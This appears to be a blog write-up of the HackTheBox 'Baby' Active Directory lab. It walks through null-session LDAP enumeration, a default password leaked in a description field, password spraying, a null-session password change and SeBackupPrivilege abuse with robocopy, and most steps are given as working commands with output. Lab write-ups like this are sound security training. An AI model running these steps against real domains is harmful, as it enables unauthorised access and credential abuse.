close
Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Baby Writeup

Updated
7 min read
HackTheBox: Baby Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

Baby is an Easy Windows AD box (baby.vl, DC: BABYDC). Null LDAP bind enumerates the full domain user list, including a description field that leaks a default password (BabyStart123!) for newly created accounts. Spraying that password identifies Caroline.Robinson as flagged STATUS_PASSWORD_MUST_CHANGE. Using impacket-changepasswd to set a new password (falling back to a null-session bind) grants valid creds, which work over SMB, LDAP, and WinRM for an initial shell. The user holds SeBackupPrivilege, which is abused via robocopy /b to copy root.txt out of the Administrator's Desktop without needing SYSTEM, bypassing normal file ACLs.

  • Initial access: LDAP null bind → user enumeration → leaked default password → password spray → expired-password reset via null session → WinRM

  • Privilege escalation: SeBackupPrivilege abuse (robocopy /b) to read root.txt directly


Walkthrough

1. Recon

nmap -A -Pn 10.129.21.140 -oA nmap

Key findings: a Windows Server 2022 Domain Controller (BABYDC, domain baby.vl), with the usual AD ports open — 53, 88, 135, 139, 389/636/3268/3269 (LDAP/LDAPS/GC), 445, 464, 593, 3389, 5985 (WinRM). SMB signing is required, LDAP signing/channel binding is not enforced.

Added the hostname to /etc/hosts:

echo '10.129.21.140 baby.vl BABYDC.baby.vl babydc.baby.vl' >> /etc/hosts

2. Null session enumeration

LDAP and SMB both accept an unauthenticated (null) bind:

nxc ldap 10.129.21.140 -u '' -p ''
nxc smb 10.129.21.140 -u '' -p ''

SMB share listing and RID brute force fail with STATUS_ACCESS_DENIED for the null session, but LDAP allows full enumeration. Pulled groups and users:

nxc ldap 10.129.21.140 -u '' -p '' --groups
nxc ldap 10.129.21.140 -u '' -p '' --users

Two OUs of interest: dev and IT. Critically, the --users output includes a description field on Teresa.Bell:

Teresa.Bell    2026-06-24 ...    0    Set initial password to BabyStart123!

This is a common Easy-box pattern: an admin note describing the default password handed out to new hires, left visible to anyone who can read LDAP — including unauthenticated.

A raw LDAP query against (objectClass=*) for distinguishedName was also useful later for mapping the full OU structure (dev and it) once the initial --users enumeration turned out to be incomplete — see Step 3.

3. Building the user list and password spraying

nxc ldap 10.129.21.140 -u '' -p '' --users 2>/dev/null | \
  grep -oE '(Guest|[A-Za-z]+\.[A-Za-z]+)' > users.txt
sed -i '/^baby\.vl$/d' users.txt

This gave 9 users: Guest, Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell. Sprayed the leaked default password against this list:

nxc ldap 10.129.21.140 -u users.txt -p 'BabyStart123!'
[-] baby.vl\Guest:BabyStart123!
[-] baby.vl\Jacqueline.Barnett:BabyStart123!
[-] baby.vl\Ashley.Webb:BabyStart123!
[-] baby.vl\Hugh.George:BabyStart123!
[-] baby.vl\Leonard.Dyer:BabyStart123!
[-] baby.vl\Connor.Wilkinson:BabyStart123!
[-] baby.vl\Joseph.Hughes:BabyStart123!
[-] baby.vl\Kerry.Wilson:BabyStart123!
[-] baby.vl\Teresa.Bell:BabyStart123!

Every single account rejected the password - including Teresa.Bell, the account the password was actually leaked from. That's the giveaway: a password we know is genuine failing against the very account it was leaked for means the account list itself is incomplete, not that the password is wrong. --users parses a specific LDAP attribute view (the user-summary listing), and it clearly hadn't returned the full user population. This pointed to missing accounts rather than a dead-end password.

To get the real picture of the domain, I went back to a raw LDAP query instead of relying on nxc's summarized --users view:

nxc ldap 10.129.21.140 -u '' -p '' --query '(objectClass=*)' distinguishedName

Querying objectClass=* walks every object in the directory rather than just the subset --users filters for, and it surfaced two accounts that never appeared in the --users output: CN=Ian Walker,OU=dev and CN=Caroline Robinson,OU=it. Added both to users.txt:

Ian.Walker
Caroline.Robinson

Re-ran the spray with the corrected list:

nxc ldap 10.129.21.140 -u users.txt -p 'BabyStart123!'
[-] baby.vl\Ian.Walker:BabyStart123!
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

Caroline.Robinson now returns STATUS_PASSWORD_MUST_CHANGE instead of a flat auth failure - meaning the password is correct, but the account requires a reset before authenticating. Every other account had presumably already changed off the default.

4. Resetting the expired password

A direct SMB/LDAP login with the correct-but-expired password fails (STATUS_PASSWORD_MUST_CHANGE). impacket-changepasswd handles this by detecting the expired state and re-binding as a null session to perform the actual change:

impacket-changepasswd 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.21.140' -newpass 'Pass123!'
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

This works because Active Directory permits a user to change (not reset) their own expired password without a fully authenticated bind, via SAMR - Impacket automates the null-session fallback for exactly this case.

5. Validating creds and shell access

nxc smb 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'
nxc ldap 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'     # (Pwn3d!)
nxc winrm 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'    # (Pwn3d!)

Caroline.Robinson has WinRM access (member of BABY\it, which grants Remote Management Users). Connected directly:

evil-winrm -i 10.129.21.140 -u Caroline.Robinson -p 'Pass123!'
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> type user.txt
HTB{REDACTED}

6. Privilege escalation via SeBackupPrivilege

whoami /priv
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled

SeBackupPrivilege lets the holder read any file on disk regardless of DACL, by opening it under the backup semantics (FILE_FLAG_BACKUP_SEMANTICS). robocopy natively supports this via the /B (backup mode) flag, so it can be used as a quick, no-extra-tooling way to lift files out of the Administrator's profile:

robocopy /b C:\Users\Administrator\Desktop C:\temp root.txt
-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Wednesday, June 24, 2026 4:36:26 AM
   Source : C:\Users\Administrator\Desktop\
     Dest : C:\temp\

    Files : root.txt

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

                           1    C:\Users\Administrator\Desktop\
            New File                  34        root.txt
  0%
100%
------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :        34        34         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00

   Ended : Wednesday, June 24, 2026 4:36:26 AM
dir
Directory: C:\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         6/24/2026   3:09 AM             34 root.txt
type C:\temp\root.txt
HTB{REDACTED}

This is the same primitive abused by diskshadow/wbadmin SAM+SYSTEM dumps for full DC compromise, since we know where the flag is, direct file copy off root.txt is sufficient - no need to extract NTDS.dit or shadow-copy the volume.


Attack Chain

Unauthenticated LDAP bind
        │
        ▼
LDAP user enumeration (--users) → description field leaks
"BabyStart123!" default password
        │
        ▼
Password spray across all users
        │
        ▼
Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE (valid creds, expired)
        │
        ▼
impacket-changepasswd (null-session fallback) → new password set
        │
        ▼
WinRM login as Caroline.Robinson → user.txt
        │
        ▼
SeBackupPrivilege present → robocopy /b bypasses ACLs
        │
        ▼
Copy Administrator's root.txt → SYSTEM-level file read, no shell upgrade needed

Key Vulnerabilities

# Vulnerability Location Impact
1 Anonymous/null LDAP bind enabled LDAP (389) Full unauthenticated user/group enumeration
2 Credential leak in account description field AD user attribute (description) Default password disclosed to any unauthenticated reader
3 Default password reused, account left in "must change" state Caroline.Robinson Allows password reset via null-session SAMR bind, no prior auth needed
4 Excessive privilege assignment (SeBackupPrivilege) Local security policy / it group Arbitrary file read bypassing NTFS ACLs → root flag without SYSTEM shell

Author: exploitnotes

HackTheBox Writeups

Part 16 of 18

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox: Data Writeup

Summary Data is a Linux box running Grafana 8.0.0 behind SSH and port 3000. The Grafana version is vulnerable to CVE-2021-43798, an authentication-free path traversal in the plugin static-file handler